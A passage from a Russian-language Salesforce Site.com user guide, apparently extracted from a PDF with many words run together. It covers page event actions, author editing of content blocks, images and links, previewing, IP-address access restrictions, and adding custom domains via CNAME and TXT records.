Динамическое добавление класса CSS для оформления целевого элемента. Например,
пользователь может добавить новый класс CSS при изменении внешнего вида элемента
страницы.

Добавить класс CSS

Отображение всплывающего сообщения-предупреждения.Предупреждение

Анимирование свойств CSS (например, «Сверху», «Слева», «Ширина» и «Высота») путем ввода
соответствующих значений в поле «CSS».

Например, чтобыизменитьвнешнийвидизображениявсоответствиисзаданнымиэффектами
и скоростью, введите следующие значения непрозрачность: "0,4", ширина: "70%".

Анимировать

Задержкавыполненияследующегодействия (вмиллисекундах). (Чтобысвязатьданноедействие
с последующим, установите флажок «Связано».)

Отложить

Выполнение настраиваемого кода JavaScript, добавляемого с помощью редактора
настраиваемогокода, которыйоткрываетсяпутемнажатиякнопки«Редактироватьсценарий».

Выполнить JavaScript
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ОписаниеДействие

Переход на указанную страницу в повторителях данных и таблицах данных. См. раздел
«Добавление пагинации в повторители данных и таблицы данных» на странице 5210.

Перейти на страницу

Сокрытие целевого элемента в соответствии с заданными эффектами и скоростью.Скрыть элемент

Переход на следующую страницу в повторителях данных и таблицах данных. См. раздел
«Добавление пагинации в повторители данных и таблицы данных» на странице 5210.

Следующая страница

Переход на предыдущую страницу в повторителях данных и таблицах данных. См. раздел
«Добавление пагинации в повторители данных и таблицы данных» на странице 5210.

Предыдущая страница

Удаление класса CSS из целевого элемента для динамического удаления его стиля. Например,
чтобы изменить внешний вид элемента страницы, удалите связанный с ним класс CSS и
замените его другим классом.

Удалить класс CSS

Повтор следующего действия указанное количество раз и с соблюдением заданных задержек
между повторами. (Чтобы связать данное действие с последующим, установите флажок
«Связано» на панели «Свойства».)

Повторить

Динамическоеопределениезначениявыбранногоатрибутадляцелевогоэлемента. Например,
чтобы изменить источник изображения, введите src в поле «Имя атрибута», а URL-адрес

Задать атрибут элемента

изображения в поле «Значение атрибута». Для усовершенствования системы кодирования
также можете указать настраиваемые пары «имя-значение».

Отображение целевого элемента в соответствии с заданными эффектами и скоростью.Показать элемент

Отправка данных выбранной формы.Отправить

Изменение доступности целевого элемента в соответствии с заданными эффектами и
скоростью.

Переключить элемент

СМ. ТАКЖЕ:

Добавление пагинации в повторители данных и таблицы данных

Общие сведения о событиях
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Редактирование сайтов в качестве автора

Общие сведения о режиме редактирования страницы автора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Чтобы открыть страницу сайта на вкладке «Общие сведения», дваждыщелкните или
наведите указатель мыши на нужную страницу и выберите  > «Правка». Страница
откроется в виде новой вкладки.
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• Ниже перечислены действия, доступные на панели инструментов (1).

– Отмена и повтор действий.

– Импорт активов (например, изображений и файлов).

– Предварительный просмотр страницы в окне обозревателя.

– Обновление внешнего вида страницы посредством редактора фирменного стиля.

• Чтобыперетащитьблокисодержимогоивиджеты (приихналичии) вредактируемыеобластистраницы, воспользуйтесь
панелью «Элементы страницы» (2).

• Чтобы изменить текст страницы и добавить изображения, воспользуйтесь холстом (3). При наличии редактируемых
областей перетащите элементы страницы на страницу.

• Чтобы просмотреть внешний вид страницы на разных устройствах, воспользуйтесь параметрами рабочего режима
(4).

СМ. ТАКЖЕ:

Создание страниц сайта в качестве автора Site.com

Использование Site.com Studio в качестве автора

Общие сведения о панели встроенного редактирования
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Создание страниц сайта в качестве автора Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Пользователимогутдобавлятьстраницынасайтв томслучае, есливозможностьсоздания
страниц предоставлена соответствующим администратором сайта или конструктором.

Чтобы добавить новую страницу, выполните указанные ниже действия.

1. Нажмите кнопку «Создать страницу сайта» в представлении «Страницы сайта» на
вкладке «Общие сведения».

2. Введите имя страницы.

3. Выберите шаблон страницы.

4. Нажмите кнопку «Создать». При этом откроется страница сайта.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве автора
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Редактирование блоков содержимого в качестве автора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Блоки содержимого хранят текст для страниц веб-сайта, а также изображения и
гиперссылки. Авторы могут редактировать текст в редактируемых блоках содержимого
посредством встроенного редактора. Благодаря встроенному редактированию текста,
пользователям всегда доступен точный предварительныйпросмотр готовой страницы.

Редактируемое содержимое блокирует отображение серых границ при наведении
указателямышинатекст. Толькоданныеобластиподдерживаютредактированиетекста.

Ниже перечислены действия, доступные на открытой странице.

1. Дваждыщелкните нужную область текста.
Данное действие инициирует отображение встроенного редактора.

2. Добавьте или измените текст, а затем выполните его форматирование посредством
встроенного редактора.

Рекомендуемкакможнорежеприменятьпрямоеформатированиетекста (например,
разныешрифтыиливыделение). Чтобыбыстроотформатироватьвесь сайтв едином
стиле, рекомендуем использовать параграфы и заголовки. Изменение
администраторомсайтаиликонструкторомпараграфаизаголовка сайтаинициирует
автоматическое обновление всего текста страницы.

3. При необходимости добавьте изображения или гиперссылки.

Чтобы сохранить внесенные изменения, щелкните за пределами области текста.

СМ. ТАКЖЕ:

Предварительный просмотр внешнего вида страниц на мобильных устройствах

Общие сведения о режиме редактирования страницы автора

Общие сведения о панели встроенного редактирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Авторы могут использовать встроенный редактор для редактирования любых
редактируемых областей текста на странице. Уредактируемых областей при наведении
указателя мыши на текст отображаются серые границы.

Ниже перечислены действия, поддерживаемые встроенным редактором.
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• Определение стиля текста и разметки (1) путем:

– применения полужирного начертания или курсива

– вставки пронумерованных или маркированных списков

• Добавление изображений и гиперссылок, а также удаление ненужного форматирования (2).

• Раскрытие панели инструментов (3) для доступа к дополнительным параметрам (4—8).

• Отмена и повтор правок (4).

• Определение стиля текста и разметки (5) путем:

– применения подчеркивания

– выравнивания текста

– применения цитаты

• Настройка отступа абзаца (6).

• Применение параграфов и заголовков (7).

• Применение дополнительных стилей (например, выделение) (8).

Совет: Рекомендуем как можно реже применять прямое форматирование текста (например, разные шрифты или
выделение). Чтобы быстро отформатировать весь сайт в едином стиле, рекомендуем использовать параграфы и
заголовки. Изменение администратором сайта или конструктором параграфа и заголовка сайта инициирует
автоматическое обновление всего текста страницы.

СМ. ТАКЖЕ:

Редактирование блоков содержимого в качестве автора

Предварительный просмотр внешнего вида страниц на мобильных устройствах

Общие сведения о режиме редактирования страницы автора
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Добавление изображений в текст в качестве автора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Авторы могут быстро добавлять изображения в любые редактируемые области текста
на странице посредством встроенного редактора.

При наведении указателя мыши на текст редактируемые области отображают серую
границу. Только данные области поддерживают добавление изображений.

Ниже перечислены действия, доступные на открытой странице.

1. Дваждыщелкните нужную область текста.
Данное действие инициирует отображение встроенного редактора.

2. Установите курсор в нужную область и щелкните значок .

3. Введите URL-адрес изображения в поле «URL-адрес» диалогового окна «Свойства
изображения».
Например, чтобы добавить изображение, загруженное на сайт, введите символ / и
имя нужного файла (например, /moeIzobrazhenie.png).

4. Введите краткое описание изображения в поле «Альтернативный текст». Данное
описание используется программами для чтения экрана или отображается взамен
изображения, которое не поддерживается обозревателем. Кроме того, данное
описание позволяет оптимизировать механизм поиска.

5. При необходимости просмотрите изображение относительно текста страницы и
задайте перечисленные ниже параметры.

• Ширина и высота изображения

• Границаизображения (например, чтобы задать границу толщиною 10 пикселов,
введите значение «10» в поле «Граница»)

• Промежутки вокруг изображения (с помощью свойств HSpace и VSpace)

• Выравнивание изображения относительно текста страницы

6. Нажмите кнопку «OK».

Чтобы сохранить внесенные изменения, щелкните за пределами области текста.

СМ. ТАКЖЕ:

Редактирование блоков содержимого в качестве автора

Общие сведения о панели встроенного редактирования

Предварительный просмотр внешнего вида страниц на мобильных устройствах

Общие сведения о режиме редактирования страницы автора
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Добавление гиперссылок на текст и изображения в качестве автора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Авторымогутиспользоватьвстроенныйредактордлябыстрогодобавления гиперссылок
на текст или изображения в любые редактируемые области текста на странице.

Уобластейредактируемоготекстапринаведенииуказателямышинатекстотображаются
серые границы. Только данные области поддерживают добавление гиперссылок.

Ниже перечислены действия, доступные на открытой странице.

1. Дваждыщелкните нужную область текста. У областей редактируемого текста при
наведении указателя мыши на текст отображаются серые границы.
Данное действие инициирует отображение встроенного редактора.

2. Выберите нужный текст или изображение и щелкните значок .

3. Выберите тип ссылки.

• Чтобысвязатьсостраницей, элементомсайтаиливнешнейстраницей, выполните
указанные ниже действия.

a. Выберите значение «URL-адрес».

b. Выберите нужный протокол.

c. Выберите элемент сайта или введите адрес внешней страницы в поле
«URL-адрес»  (например, http://www.vneshniisait.ru). (Еслисписок
элементов сайта не отображается, установите курсор в поле «URL-адрес» и
нажмите клавишу со стрелкой «вниз» на клавиатуре.)

• Чтобы связать с привязкой, добавленной ранее на страницу, выберите значение
«Ссылка на привязку в тексте», а затем выберите нужную привязку в
раскрывающемся списке.

• Чтобы связать с сообщением эл. почты, выберите значение «Эл. почта», а затем
введите адрес эл. почты получателя и текст сообщения.

4. Нажмите кнопку «OK».

Чтобы сохранить внесенные изменения, щелкните за пределами области текста.

СМ. ТАКЖЕ:

Редактирование блоков содержимого в качестве автора

Общие сведения о панели встроенного редактирования

Предварительный просмотр внешнего вида страниц на мобильных устройствах

Общие сведения о режиме редактирования страницы автора
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Добавление элементов страницы на страницы в качестве автора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования только
содержимого сайтов
Site.com:
• Поле «Пользователь

Site.com
Contributor»,
включенноена странице
сведений о пользователе

И

Роль автора,
назначенная на уровне
сайта

Авторымогут добавлять элементыстраницывлюбыередактируемыеобластистраницы.

Элементы страницы — это блоки, используемые для компоновки страниц сайта. Блоки
содержимого хранят текст для страниц веб-сайта, а также изображения и гиперссылки.
Виджеты — это настраиваемые элементы страницы, создаваемые конструкторами или
администраторами сайта. Виджеты отображаются пользователям только при наличии
соответствующего уровня доступа.

• Чтобы добавить элемент страницы на открытую страницу, перетащите элемент с
панели «Элементыстраницы» вредактируемуюобласть. Приперетаскиванииэлемента
страницы редактируемая область страницы выделяется синей рамкой. Синяя рамка
отображается только при наличии редактируемых областей страницы.

• Чтобы переместить элемент страницы на странице, перетащите нужный элемент
страницы в другую редактируемую область.

•
Чтобы удалить элемент страницы, щелкните значок .

Чтобы изменить блок содержимого, добавленный на страницу, дваждыщелкните нужный блок содержимого.

При добавлении виджета на страницу система позволяет задавать свойства виджета в диалоговом окне, которое
автоматически сохраняет внесенные изменения. Чтобы пропустить диалоговое окно, щелкните другую область экрана.
Дополнительную информацию о свойствах можно получить у конструктора или администратора сайта.

СМ. ТАКЖЕ:

Редактирование блоков содержимого в качестве автора

Общие сведения о режиме редактирования страницы автора

Предварительный просмотр внешнего вида страниц на мобильных устройствах
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Предварительный просмотр внешнего вида страниц на мобильных устройствах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Рабочийрежимпозволяет администраторам сайта, конструкторами авторамоткрывать
страницы ишаблоны для предварительного просмотра их внешнего вида на разных
устройствах (например, мобильные телефоны и планшетные компьютеры).

Авторы Site.com получают автоматический доступ к рабочему режиму при
редактировании любого содержимого. Они могут редактировать блоки содержимого,
доступ к которым предоставляется администраторами сайта.

Администраторы сайта и конструкторымогут переключаться между рабочим режимом
и режимом конструктора посредством параметров «Рабочий режим» и «Режим
конструктора» на панели инструментов Site.com Studio. Режим конструктора — это
представление, отображаемое администраторам сайта и конструкторам по умолчанию.

• Чтобы открыть страницу для предварительного просмотра внешнего вида:

– на смартфонах, щелкните значок .

– на планшетных компьютерах, щелкните значок .

–
на мониторах компьютеров, щелкните значок .

– по всей ширине и высоте, щелкните значок .

• Чтобы вручную изменить ширину экрана, сдвиньте ползунок .

• Чтобы изменить ширину и высоту экрана, потяните манипулятор размера,
отображаемый при наведении курсора на край рамки.

• Чтобы сохранить часто используемые настраиваемые размеры экрана, нажмите
кнопку и введите настраиваемые измерения.

• Чтобы изменить книжнуюориентацию экрана на альбомную, нажмите кнопку .

СМ. ТАКЖЕ:

Редактирование блоков содержимого в качестве автора

Общие сведения о режиме редактирования страницы автора

Редактирование страниц Site.com в качестве конструктораили администратора сайта
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Предварительный просмотр сайтов Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Авторы, конструкторы и администраторы сайта могут открывать страницы сайта для
предварительногопросмотраихотображениявокнеобозревателя. Припредварительном
просмотре страницы отображаются в том виде, в котором они будут выглядеть на
действующем сайте, поэтому пользователи всегда могут визуально проверить
правильность внедрения последних изменений.

Кроме того, администраторы сайта и конструкторы могут создавать ссылки для
анонимного предварительного просмотра, позволяющие другим пользователям
просматривать содержимоенеактивного сайта. Срокдействия этих ссылокнеограничен
(если не указано иное); при выборе ссылки отображается самая последняя версия сайта.
Данные ссылки доступны только соответствующим адресатам и не могут быть найдены
поисковыми системами.

• Щелкните «Предварительный просмотр страницы» на панели инструментов
при редактировании страницы.

• Чтобы просмотреть отдельную страницу, наведите указатель мыши на нужную
страницувпредставлении «Страницысайта» навкладке «Общиесведения» ищелкните

 > «Предварительный просмотр».

• Чтобыпросмотреть весь сайт, щелкните «Предварительныйпросмотр»напанели
инструментов вкладки «Общие сведения». Ниже перечислены действия, доступные
в меню «Предварительный просмотр».

– Чтобы открыть сайт в новой вкладке текущего окна обозревателя, щелкните
«Предварительный просмотр сайта в новой вкладке».

– Чтобы открыть сайт в том виде, в котором он отображается пользователям
портативных компьютеров, щелкните «Предварительныйпросмотр сайта (с
разрешением 1 024 x 768)».

– Чтобы создать ссылку, позволяющую другим пользователям просматривать
содержимое неактивного сайта, щелкните «Включить анонимный
предварительный просмотр» (только для администраторов сайта и
конструкторов). Чтобыполучитьдоступкссылке, котораяможетбытьскопирована
и отправлена другим пользователям для предварительного просмотра и
тестирования внесенных изменений, выберите параметр «Анонимный
предварительный просмотр», доступный в меню «Предварительный
просмотр».Параметр«Включитьанонимныйпредварительныйпросмотр»
также доступен в представлении «Конфигурация сайта».

• Чтобыпросмотретьвесь сайт, щелкните «Предварительныйпросмотр»напротив
нужного сайта на начальной странице Site.com.

При предварительном просмотре страниц должны работать все функции, связанные с
обозревателем.

Прим.: Таблицы стилей отображаются в виде встроенных стилей только при
предварительном просмотре.

СМ. ТАКЖЕ:

Использование Site.com Studio в качестве администратора сайта или конструктора

Использование Site.com Studio в качестве автора
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Управление доступом путем ограничения IP-адресов

Общие сведения об ограничениях IP-адресов Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Каждый компьютер использует уникальный IP-адрес, предназначенный для его
определения. Благодаря ограничениям IP-адресов, пользователи могут определять
диапазон разрешенных IP-адресов для страниц, папок и активов сайта, позволяющий
контролировать доступ посетителей.

Например, организацияиспользуетстраницусайта, содержащуюсписоквсехсотрудников
каждого отдела. Внешние пользователи не должны иметь доступа к данной
конфиденциальной информации. Чтобы запретить посетителям сайта просмотр
страницы, рекомендуем ограничить разрешенные IP-адреса диапазоном IP-адресов
организации (например, 112.122.0.1 — 112.122.0.123).

Если ограничения IP-адресов задаются для:

• родительского шаблона страницы, то ограничения наследуются всеми дочерними
шаблонами страниц и производными страницами.

• папки, то ограничения наследуются всеми подпапками и активами внутри папки.

• целого сайта, то ограничения наследуются всеми элементами сайта.

Любой элемент, наследующий ограничения IP-адресов, может поддерживать дополнительные ограничения IP-адресов,
позволяющие еще больше ограничить диапазон разрешенных IP-адресов.

Еслидоступк страницезапрещен, топользователимогутбытьперенаправленынадругуюстраницу (например, страница
ошибок).

СМ. ТАКЖЕ:

Добавление ограничений IP-адресов в Site.com

Редактирование, выключение и удаление ограничений IP-адресов в Site.com
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Добавление ограничений IP-адресов в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
редактирования
ограничений IP-адресов в
приложении Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Использование диапазона разрешенных IP-адресов позволяет контролировать уровень
доступа посетителей сайта к страницам, шаблонам страниц, папкам и активам сайта.

1. Откройте вкладку «Общие сведения».

• Наведите указатель мыши на нужную страницу, шаблон страницы, папку или
актив в представлении «Все содержимое сайта» и последовательно выберите
пункты  > «Добавить ограничения IP-адресов».

• Последовательно выберите пункты «Конфигурация сайта» > «Ограничения
IP-адресов» ищелкните «Добавить ограничения IP-адресов».

2. Выберите нужный элемент.

3. Введите начальный и конечный IP-адреса диапазона (например,
112.122.0.1 — 112.122.0.123). Чтобы задать один IP-адрес, заполните только поле
«Начальный адрес».

Оба IP-адреса диапазона должны использовать протокол IPv4 или IPv6. IPv4-адреса
находятся в диапазоне IPv6-адресов, соотнесенных с протоколом IPv4
(::ffff:0:0 — ::ffff:ffff:ffff, где ::ffff:0:0 присваивается значение 0.0.0.0, а ::ffff:ffff:ffff — значение
255.255.255.255). Диапазон не может содержать IP-адреса, которые находятся внутри
диапазона IPv6-адресов, соотнесенных с протоколом IPv4, если данный диапазон
также содержит IP-адреса, которые находятся вне указанного выше диапазона. Такие
диапазоны, как 255.255.255.255 — ::1:0:0:0 или :: — ::1:0:0:0, являются недопустимыми.

4. Чтобы добавить дополнительные диапазоны, щелкните «Добавить диапазон
IP-адресов».

5. Чтобы перенаправить пользователей, IP-адрес которых является недопустимым, на
альтернативнуюстраницу (например, страницаошибок), укажитенужнуюстраницу
в поле «Страница "Доступ запрещен"». Страница «Доступ запрещен», выбранная в
представлении «Ограничения IP-адресов», используется по умолчанию во всех
ограничениях IP-адресов, кроме случаев ее переопределения на уровне элемента.

Принеобходимости перенаправьте пользователей на страницу собственного сайта
иливнешнийсайт. Привводевнешнего URL-адресарекомендуемвсегдаиспользовать
префикс (например, http://). Еслистраница «Доступ запрещен» невыбрана, топользователямотображаетсяпустая
страница, содержащая стандартное сообщение «Доступ к данному ресурсу запрещен».

6. Нажмите кнопку «Сохранить».

Чтобы протестировать ограничения IP-адресов, заданные дляшаблона страницы или страницы сайта, откройте нужную
страницуинажмитекнопку«Предварительныйпросмотр». Чтобыактивироватьобновленныеограничения, рекомендуем
опубликовать сайт.

Прим.:

• Если элемент наследует ограничения IP-адресов (например, актив папки, поддерживающей ограничения по
IP-адресам), то добавление дополнительных ограничений позволяет еще больше ограничить диапазон.
Унаследованные значения диапазона IP-адресов не отображаются элементом, но применяются к дочернему
элементу и доступны только посетителям сайта, IP-адреса которых являются допустимыми.

• Страница сайта, выбранная в раскрывающемся списке «Страница "Доступ запрещен"», можетбытьпросмотрена
пользователями, IP-адреса которых являются недопустимыми, даже при отсутствии доступа ко всему сайту.
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• Элементы, использующие ограничения IP-адресов, не поддерживают кэширование. Кроме того, обновление
ограничений IP-адресов, заданных для актива, папкиили страницы, инициирует обновление соответствующего
URL-адреса при условии кэширования элемента прокси-сервером (например, Akamai).

СМ. ТАКЖЕ:

Общие сведения об ограничениях IP-адресов Site.com

Редактирование, выключение и удаление ограничений IP-адресов в Site.com

Редактирование, выключение и удаление ограничений IP-адресов в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления и
редактирования
ограничений IP-адресов в
приложении Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Система позволяет редактировать диапазон адресов, кратковременно выключать
(например, дляпредоставлениявременногодоступак странице) илиполностьюудалять
созданное ограничение IP-адресов для сайта Site.com.

Чтобы просмотреть все ограничения IP-адресов, заданные на сайте, откройте
представление «Ограничения IP-адресов» раздела «Конфигурация сайта» на вкладке
«Общиесведения». Чтобыпросмотретьограничение IP-адресовдляотдельногоэлемента,
наведите указатель мыши на нужный элемент в представлении «Все содержимое сайта»
ипоследовательновыберитепункты  > «Редактироватьограничения IP-адресов».

Ниже перечислены действия, доступные в открывшемся разделе или диалоговом окне
«Ограничения IP-адресов».

• Редактированиедиапазона IP-адресов. Чтобыизменить значения, щелкнитенужный
IP-адрес в представлении «Ограничения IP-адресов».

• Деактивацияограничения IP-адресов. Принеобходимостиограничениеможет быть
активировано повторно. Деактивация ограничения IP-адресов для элемента,
использующего несколько ограничений, инициирует деактивацию других
ограничений элемента.

• Удалениеограничения IP-адресов. Данноедействиеполностьюудаляетограничение
и предоставляет доступ к элементу всем посетителям сайта.

Чтобыактивироватьизменения, внесенныевограничения IP-адресов сайта, рекомендуем
опубликовать сайт.

СМ. ТАКЖЕ:

Общие сведения об ограничениях IP-адресов Site.com

Добавление ограничений IP-адресов в Site.com
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Управление доменами и действующими сайтами

Управление доменами в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Прежде чем опубликовать сайт в Интернете, рекомендуем указать сведения о домене
сайта.

Прежде чем добавить домен в список доменов сайта, система Salesforce проверяет
принадлежностьименидоменатекущемупользователю. Используемыйметодпроверки
определяется текущим использованием имени домена.

• Если используемое имя домена является новым или в настоящее время не
используется, добавьте имя домена посредством записи CNAME.

• Если используемое имя домена уже используется другим веб-сайтом, добавьте имя
доменапосредствомзаписи TXT. Крометого, текущийвеб-сайтдолжениспользовать
DNS-записи A.

СМ. ТАКЖЕ:

Публикация изменений на сайте

Перевод сайта в автономный режим
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Добавление доменов посредством записей CNAME в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Преждечемопубликовать сайт вИнтернете, рекомендуемуказать сведенияо его домене.
Еслииспользуемое имя домена является новымили в настоящее время не используется,
воспользуйтесь записью CNAME для его добавления.

Чтобы создать фирменный настраиваемый веб-адрес (например,
www.moyakompaniya.ru) в случае его отсутствия, воспользуйтесь регистратором
доменных имен.

Каждоеимядомена, используемоев Site.com, должнобытьуникальным. Система Salesforce
проверяет имя домена при добавлении в список доменов сайта и публикации сайта.

Совет: Изменение домена в Интернете может занять до 48 часов. Чтобы ускорить
данный процесс, сократите срок жизни (TTL) в параметрах управления учетными
записямипоставщика DNS. Данное значениедолжнобытьобновлено занесколько
дней до активации, так как новое значение вступает в силу только по истечении
текущего оставшегося времени.

Чтобы создать настраиваемый URL-адрес, добавьте настраиваемый путь в имя домена.
Настраиваемый URL-адрес состоит из домена и настраиваемого пути. Имя пути может
использоваться разными доменами, но не более одного раза каждым доменом. При
добавлениидоменанастоятельнорекомендуемиспользовать символ «/». Данныйсимвол
соответствует корневому пути. Дополнительное настраиваемое имя (после символа «/»)
можетбытьпропущено, тогдакаккорневойпуть (досимвола «/») являетсяобязательным.
Например, имя домена https://oursite.com и путь /products возвращают
следующий URL-адрес сайта: https://oursite.com/products. Если корневой
путь дополняется настраиваемым URL-адресом, то URL-адрес выглядит следующим
образом: https://oursite.com.

Прим.: Управление доменами и путями выполняется посредством страницы
«Управление доменами» в меню «Настройка».

1. Откройте параметры управления учетными записями поставщика DNS и создайте
запись CNAME. CNAME records must include your domain name, your 18–character
organization ID, and the suffix live.siteforce.com. For example, if your domain name is www.mycompany.com and your organization
ID is 00dx00000000001aaa, then the CNAME must be
www.mycompany.com.00dx00000000001aaa.live.siteforce.com. Чтобы найти код организации,
воспользуйтесь страницей нового домена в разделе «Управление доменами» меню «Настройка».

2. Еслизапись CNAME доступнавИнтернете, откройте Site.com Studioищелкните«Конфигурациясайта» > «Домены»
на вкладке «Общие сведения».

3. Введите имя домена в текстовую область (например, www.moyakompaniya.ru).

4. Введите имя дополнительного пути.

5. Нажмите кнопку «Добавить».

6. При необходимости повторите указанные выше действия для других имен домена. Например, система позволяет
указать имена домена, содержащие типичные ошибки, допускаемые пользователями при вводе. Каждое имя домена
должноиспользовать соответствующуюуникальнуюзапись CNAME. Разрешается добавлятьнеболее 10 имендомена.

7. Опубликуйте готовый сайт.
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Прим.:

• Если почтовая служба домена использует запись MX, то домены, назначенные записям MX и CNAME, должны
различаться. В противном случае почтовая служба будет отключена.

Например, чтобысоздать запись CNAME сиспользованиемдомена moidomen.ru, которыйуженазначензаписи
MX, рекомендуемназначитьзаписи CNAME домен www.moidomen.ru иобратитьсякпоставщику DNS спросьбой
переадресовать домен moidomen.ru на домен www.moidomen.ru.

• При обновлении текущих сведений о домене новые изменения вступают в силу только после их публикации.
Если отображается сообщение об отсутствии изменений, доступных для публикации, рекомендуем сначала
обновить страницу сайта, а затем опубликовать внесенные изменения.

СМ. ТАКЖЕ:

Добавление доменов посредством записей TXT в Site.com

Управление доменами в Site.com

Добавление доменов посредством записей TXT в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления доменами и
публикации сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта, назначенная на
уровне сайта

Преждечемопубликовать сайт вИнтернете, рекомендуемуказать сведенияо его домене.
Если используемое имя домена уже существует, воспользуйтесь записью TXT для его
добавления. Например, чтобы выполнить беспрепятственную миграцию с текущего
сайта, новыйсайт Site.comдолженбыть готовдля активации. Данныйметодпредназначен
только для текущих сайтов, использующих DNS-записи А.

Каждоеимядомена, используемоев Site.com, должнобытьуникальным. Система Salesforce
проверяет имя домена при добавлении в список доменов сайта и публикации сайта.

Совет: Изменение домена в Интернете может занять до 48 часов. Чтобы ускорить
данный процесс, сократите срок жизни (TTL) в параметрах управления учетными
